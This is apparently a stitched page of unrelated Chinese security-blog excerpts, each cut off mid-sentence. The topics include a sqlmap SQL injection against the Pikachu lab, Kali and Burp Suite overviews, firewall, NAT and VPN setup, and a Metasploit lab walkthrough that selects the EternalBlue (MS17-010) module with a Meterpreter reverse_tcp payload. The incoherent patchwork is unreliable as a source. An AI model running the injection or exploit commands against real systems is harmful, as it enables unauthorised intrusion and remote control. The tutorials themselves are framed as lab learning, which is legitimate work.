这边来详细写一篇SQLmap工具的使用方法，这边借用了pikachu里sql注入类的字符形注入 首先sql注入肯定要先找注入点在哪里,我们在输入栏里输入admin试试 看到有向后台查询的get请求，然后直接放到sqlmap里试一下sqlmap-u"http://172.16.107.243/pikachu/vul/sqli/sqli_str.phpname=admin&submit=%E6%9F%A5%E8%AF%A2"注意：-u后面的URL链接一定要加双引号，不加的话有时候get请求里会有（&）这个符号不加双引号的URL链接有这个符号就会报错如果URL正确的话他会出现很多如下图的选项，这些可
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档文章目录前言一、KaliLinux-安装和配置信息收集工具二、NMAP隐形扫描搜索Searchsploit域名系统工具dnsenum.plDNSMAPdnstracerLBDHping3漏洞分析工具Cisco-torch工具CiscoAuditing工具CiscoGlobalExploiterbed总结前言KaliLinux是道德黑客最好的开源安全软件包之一，包含一组按类别划分的工具。KaliLinux可以作为操作系统安装在机器中，本教程对此进行了讨论。安装KaliLinux是一个实用的选择，因为它提供了更多选项来工作和组合工具。
目录1.背景介绍2.读者对象3.随书资源4.本书目录5.本书概览6.活动参与方式 1.背景介绍对于企业网络安全建设工作的质量保障，业界普遍遵循PDCA（计划（Plan）、实施（Do）、检查（Check）、处理（Act））的方法论。近年来，网络安全攻防对抗演练发挥了越来越重要的作用。企业的安全管理者通过组织内部或外部攻击队，站在恶意攻击者的视角，识别自身网络安全建设过程中的防护短板，检验安全应急预案的有效性并持续优化，为业务发展提供更强的保驾护航能力。扫码了解↑本书是企业进行网络安全对抗演练不可多得的参考书，对攻击队和防守队都适用。本书系统地介绍了安全测试流程的最佳实践和常见误区，围绕KaliL
一、 组网需求 企业的两台FW的业务接口都工作在三层,使用路由模式进行部署，上下行分别连接交换机。上行交换机连接路由器，下行连接核心交换机。路由器连接二个运营商的接入点，运营商其一为企业提供专线业务，其分配的IP地址为202.100.99.55~56（用做内部web服务映射）。运营商其二为企业提供pppoe拨号。专线业务主要用于企业业务系统为外部提供访问，员工上网使用pppoe线路。通过在路由器上部署策略路由以实现业务和上网流量的分流。 现在希望两台FW以主备备份方式工作。正常情况下，流量通过FW-1转发。当FW-1出现故障时，流量通过FW-2转发，保证业务不中断。内网核心
BurpSuite：KaliLinux是一个基于Debian的Linux发行版，主要用于渗透测试和网络安全。它包含了大量的安全工具，例如渗透测试、web程序、漏洞挖掘、防火墙、取证工具、无线网络工具等，适合在安全测试、安全研究和网络安全培训等领域使用。其中在web程序中包含了BurpSuite这个Web应用程序测试工具，可用于抓包、爆破密码、渗透测试、安全审计等方面。Burpsuite是一个用Java编写的Web应用程序测试工具，它提供了许多功能。BurpSuite是一套通过攻击模拟来进行Web应用程序漏洞扫描、测试、攻击和漏洞修复的著名工具。以下是它的用途：1.检测和利用Web应用程序的漏洞
一、VirtualBox新增Nat网络二、给虚拟机配置Nat网络三、配置端口映射保证本地主机可以访问虚拟机配置成Nat以后，本地主机网段跟虚拟机网段不一样，所以需要配置端口映射测试连接：
目录一、安装VPN客户端二、 编辑配置文件三、重启虚拟机四、 配置VPN客户端一、安装VPN客户端因为安装的服务有点多，所以分为两条命令：apt-getinstallnetwork-manager-openvpn-gnomenetwork-manager-pptpnetwork-manager-pptp-gnomeapt-getinstallnetwork-manager-strongswannetwork-manager-vpncnetwork-manager-vpnc-gnome 二、 编辑配置文件vi/etc/NetworkManager/NetworkManager.conf三、重启虚
目录kali用户配置root用户权限配置配置远程登录网络配置kali网络配置静态IP地址配置重启网络生效临时IP配置DNS配置ATP源ATP源配置KaliLinuxapt源更新kali汉化Kali汉化教程kalilinux配置python-pip查看当前python的版本信息安装python软件包的三种方法python开发工具Git使用安装Git客户端创建SSH公钥和私钥服务器端Git打开RSA认证客户端再次clone远程仓库禁止git用户ssh登录服务器SSH登录什么是SSH配置SSH服务通过Xshell远程登录kali用户配置root用户权限配置首先用你的常规用户名登录kalilinux
NTA详解NAT（网络地址转换协议）NAT的工作原理NAT类型配置方法1.静态NAT的配置方法2.动态NAT配置NAT（网络地址转换协议）NAT网络地址转换NAT概述：NAT（NetworkAddressTranslation）又称为网络地址转换，用于实现私有网络和公有网络之间的互访，应为在网路数据传输中目标地址为私网IP地址的数据会被路由黑洞吃掉，所以需要用到NTA来将私网IP转换为公网IP才能在互联网上实现数据传输。NAT的功能和优缺点：NAT的功能：NAT不仅解决了IP地址不足的问题，而且还能够有效地避免来自网络外部的入侵，隐藏并保护网络内部的计算机。带宽分享：这是NAT主机的最大功能安
一、实验环境：靶 机： windows10台式机（可以自己搭一个虚拟机，我这里用物理机做靶机）：192.168.1.114攻击机： kali虚拟机：192.168.1.116二、msf工具基本用法：msfconsole #进入msf框架search 相关漏洞(如searchms17_010） #使用search命令查找相关漏洞useexploit/windows/smb/ms17_010_eternalblue #使用use进入漏洞相关模块info #使用info查看模块信息setpayloadwindows/x64/meterpreter/reverse_tcp #
